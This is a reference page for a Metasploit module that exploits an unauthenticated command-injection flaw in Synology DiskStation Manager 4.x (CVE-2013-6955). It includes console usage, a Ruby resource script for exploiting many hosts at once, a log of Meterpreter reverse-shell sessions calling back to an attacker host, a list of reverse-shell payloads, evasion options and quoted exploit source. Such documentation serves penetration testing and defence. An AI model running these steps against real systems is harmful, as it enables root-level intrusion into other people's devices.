Synology DiskStation Manager SLICEUPLOAD Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/synology_dsm_sliceupload_exec_noauth metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Synology DiskStation Manager SLICEUPLOAD Remote Command Execution
Module: exploit/linux/http/synology_dsm_sliceupload_exec_noauth
Source code: modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb
Disclosure date: 2013-10-31
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-6955
This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions 4.x, which allows the execution of arbitrary commands under root privileges. The vulnerability is located in /webman/imageSelector.cgi, which allows to append arbitrary data to a given file using a so called SLICEUPLOAD functionality, which can be triggered by an unauthenticated user with a specially crafted HTTP request. This is exploited by this module to append the given commands to /redirect.cgi, which is a regular shell script file, and can be invoked with another HTTP request. Synology reported that the vulnerability has been fixed with versions 4.0-2259, 4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using synology_dsm_sliceupload_exec_noauth against a single host
Normally, you can use exploit/linux/http/synology_dsm_sliceupload_exec_noauth this way:
msf > use exploit/linux/http/synology_dsm_sliceupload_exec_noauth
msf exploit(synology_dsm_sliceupload_exec_noauth) > show targets
... a list of targets ...
msf exploit(synology_dsm_sliceupload_exec_noauth) > set TARGET target-id
msf exploit(synology_dsm_sliceupload_exec_noauth) > show options
... show and set options ...
msf exploit(synology_dsm_sliceupload_exec_noauth) > exploit
Using synology_dsm_sliceupload_exec_noauth against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your synology_dsm_sliceupload_exec_noauth will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/synology_dsm_sliceupload_exec_noauth")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/synology_dsm_sliceupload_exec_noauth exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/synology_dsm_sliceupload_exec_noauth
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show info
Name: Synology DiskStation Manager SLICEUPLOAD Remote Command Execution
Module: exploit/linux/http/synology_dsm_sliceupload_exec_noauth
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2013-10-31
Provided by:
Markus Wulftange
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Space: 201527
Description:
This module exploits a vulnerability found in Synology DiskStation
Manager (DSM) versions 4.x, which allows the execution of arbitrary
commands under root privileges. The vulnerability is located in
/webman/imageSelector.cgi, which allows to append arbitrary data to
a given file using a so called SLICEUPLOAD functionality, which can
be triggered by an unauthenticated user with a specially crafted
HTTP request. This is exploited by this module to append the given
commands to /redirect.cgi, which is a regular shell script file, and
can be invoked with another HTTP request. Synology reported that the
vulnerability has been fixed with versions 4.0-2259, 4.2-3243, and
4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2013-6955
OSVDB (101247)
Module Options
This is a complete list of options available in the linux/http/synology_dsm_sliceupload_exec_noauth exploit:
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show options
Module options (exploit/linux/http/synology_dsm_sliceupload_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/synology_dsm_sliceupload_exec_noauth exploit:
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show advanced
Module advanced options (exploit/linux/http/synology_dsm_sliceupload_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/synology_dsm_sliceupload_exec_noauth module can exploit:
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/synology_dsm_sliceupload_exec_noauth exploit:
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/synology_dsm_sliceupload_exec_noauth exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/synology_dsm_sliceupload_exec_noauth) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Detection failed
Here is a relevant code snippet related to the "Detection failed" error message:
76: version = "#{$~[:major]}.#{$~[:minor]}"
77: build = $~[:build]
78: model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
79: model = "DS#{model}" unless model =~ /^[A-Z]/
80: else
81: vprint_error("Detection failed")
82: return Exploit::CheckCode::Unknown
83: end
84:
85: vprint_status("Model #{model} with version #{version}-#{build} detected")
86:
error_noprivilege
Here is a relevant code snippet related to the "error_noprivilege" error message:
134: 'X-TMP-FILE' => '/usr/syno/synoman/redirect.cgi'
135: },
136: 'data' => post_body
137: })
138:
139: unless res and res.code == 200 and res.body.include?('error_noprivilege')
140: fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
141: end
142:
143: # send request to invoke the injected shell commands
144: print_status("Executing the payload...")
<PEER> - Unexpected response, probably the exploit failed
Here is a relevant code snippet related to the "<PEER> - Unexpected response, probably the exploit failed" error message:
135: },
136: 'data' => post_body
137: })
138:
139: unless res and res.code == 200 and res.body.include?('error_noprivilege')
140: fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
141: end
142:
143: # send request to invoke the injected shell commands
144: print_status("Executing the payload...")
145: res = send_request_cgi({
<PEER> - Unexpected response, probably the exploit failed
Here is a relevant code snippet related to the "<PEER> - Unexpected response, probably the exploit failed" error message:
148: })
149:
150: # Read command output if cmd/unix/generic payload was used
151: if datastore['CMD']
152: unless res and res.code == 200
153: fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed")
154: end
155:
156: print_good("Command successfully executed")
157: print_line(res.body)
158: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2802 Merged Pull Request: Tidy up for release
References
- CVE-2013-6955
- OSVDB (101247)
See Also
Check also the following modules related to this module:
- exploit/linux/http/synology_dsm_smart_exec_auth
- auxiliary/scanner/http/synology_forget_passwd_user_enum
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
- exploit/linux/http/raidsonic_nas_ib5220_exec_noauth
- exploit/linux/http/realtek_miniigd_upnp_exec_noauth
- exploit/linux/http/seagate_nas_php_exec_noauth
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/windows/http/sap_configservlet_exec_noauth
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/sap/sap_configservlet_exec_noauth
- auxiliary/scanner/http/tplink_traversal_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
Related Nessus plugins:
- Synology DiskStation Manager 4.0-x < 4.0-2259 / 4.1-x / 4.2-x < 4.2-3243 SLICEUPLOAD Function Remote Code Execution
- Synology DiskStation Manager 4.3-x < 4.3-3810 Update 1 Multiple Vulnerabilities
Authors
- Markus Wulftange
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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